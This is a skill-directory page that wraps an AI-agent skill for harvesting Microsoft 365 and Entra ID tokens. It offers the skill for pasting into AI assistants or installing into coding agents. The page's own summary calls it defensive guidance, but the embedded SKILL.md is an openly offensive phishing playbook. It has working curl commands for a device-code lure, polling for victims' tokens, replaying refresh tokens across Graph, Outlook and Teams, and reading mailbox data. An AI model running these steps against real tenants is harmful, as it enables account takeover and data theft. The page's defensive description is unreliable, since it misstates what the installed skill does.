o365-credential-harvest
What it does
This guide describes sign-in patterns in Microsoft 365 and Entra ID that attackers use to get tokens without a fake password page. It is for identity and security teams who protect Microsoft tenants.
When to use it
- ✓When an identity team wants to check whether device-code sign-in is allowed for users who do not need it.
- ✓When a team wants alerts for unusual token use or new device sign-ins.
- ✓When an authorized test checks how token theft would be detected.
Skill link
https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/phisher/o365-credential-harvest/SKILL.mdCopy it and paste it into your AI (Claude, ChatGPT or Cursor), asking it to follow the instructions.
How to use
The easiest way: copy the message and paste it into your AI. It reads the skill and follows the instructions.
Ready-to-paste message
For Claude Code, Codex or Cursor: run it in your project folder and the skill gets installed.
Download the SKILL.md and drop it into your agent’s skills folder.
Example of what to ask your AI
“Can we block device-code sign-in for most users in Microsoft 365 without breaking our apps? Please check our setup.”
5 new skills a week. 1 minute to read.
How it works
The agent reviews the sign-in and conditional access settings, lists where device-code flows are allowed, and suggests policies and alerts to block or detect misuse.
Technical content (original SKILL.md)
Original text by the author, straight from GitHub.
O365 / Entra Credential & Token Harvest
Two Microsoft-identity initial-access paths that avoid a fake password page: the device-code flow and token replay. Both are favored because the victim authenticates on the genuine Microsoft endpoint.
Device-code flow
The attacker requests a device code; the victim is social-engineered
to enter it at the real microsoft.com/devicelogin. After they
complete sign-in (MFA included), the attacker polls and receives
access + refresh tokens.
TENANT=common
CLIENT=d3590ed6-52b3-4102-aeff-aad2292ab01c # Office client id (example)
# 1. request a device code
curl -s https://login.microsoftonline.com/$TENANT/oauth2/v2.0/devicecode \
-d "client_id=$CLIENT&scope=https://graph.microsoft.com/.default offline_access" | tee dc.json
# -> user_code + verification_uri go into the lure ("enter this code at ...")
# 2. poll for the token after the victim signs in
DC=$(jq -r .device_code dc.json)
curl -s https://login.microsoftonline.com/$TENANT/oauth2/v2.0/token \
-d "grant_type=urn:ietf:params:oauth:grant-type:device_code&client_id=$CLIENT&device_code=$DC"
Token replay (TokenTactics pattern)
A refresh token captured here (or via evilginx2-proxy) is exchanged
for access tokens against Graph, Outlook, SharePoint, Teams — each a
distinct resource scope — without re-auth.
RT=<captured-refresh-token>
curl -s https://login.microsoftonline.com/common/oauth2/v2.0/token \
-d "grant_type=refresh_token&client_id=$CLIENT&refresh_token=$RT&scope=https://graph.microsoft.com/.default"
# use the returned access_token: Authorization: Bearer <token> against graph.microsoft.com
Validate
A token is interesting; a Graph call returning the victim's mailbox /
directory data is the finding:
curl -s -H "Authorization: Bearer $AT" https://graph.microsoft.com/v1.0/me.
Evidence
Tokens → Credential nodes (type oauth-token, with scope + expiry)
linked to the User node. Store ONLY under evidence/phisher/ + the
knowledge graph.
RoE / OPSEC
- Device-code lures still require the
lure-deconflictionhandshake. - Refresh tokens are long-lived — record the expiry and treat them as the most sensitive artifact in the engagement.
- NEVER read more mailbox/Graph data than the objective requires;
abide by
plan/roe.json:data_handling.
FAQ
What is device-code sign-in?
It is a sign-in method meant for devices without keyboards, which attackers can abuse by tricking users into entering a code.
What does token replay mean?
It is reusing a captured token for other Microsoft services without signing in again.
What should be monitored?
Unusual sign-in sources, token use from new devices and device-code sign-ins that were not expected.
Details
Original description by the author
Harvest and replay O365 / Entra ID access via the OAuth device-code flow and captured tokens (TokenTactics-style), skipping the password + MFA prompts.
Popularity
- GitHub stars
- 6.5k
- Ranking position
- #14121
- License
- Apache-2.0
- Updated
- 11/1/2026
Comments
- …
More skills from this repository
detector-overview
6.5kHelps your agent read code that a scanner flagged and decide which flagged spots are real security bugs and which are false alarms.
exploiter-overview
6.5kHelps your agent join several confirmed security weaknesses into one test chain and check how far that chain could reach.
llm-redteam-overview
6.5kHelps your agent find the right AI red-team guide for a test, covering 15 tactic groups from prompt injection to model abuse.
aatmf-t01-prompt-injection
6.5kExplains prompt injection, where hidden instructions try to override an AI system, so security testers can check for it.
Similar skills
reverse-engineer-anything
422kHelps your agent look inside shipped apps and packages to explain features, compare versions, or guide a rebuild, using the REA tool.
1password
394kHelps your agent set up the 1Password CLI, sign in, and read or inject secrets without printing their values into chat.
healthcheck
394kHelps your agent audit the computer or server that runs OpenClaw for security risks, such as SSH, firewall, updates, and backups, then suggest safe fixes.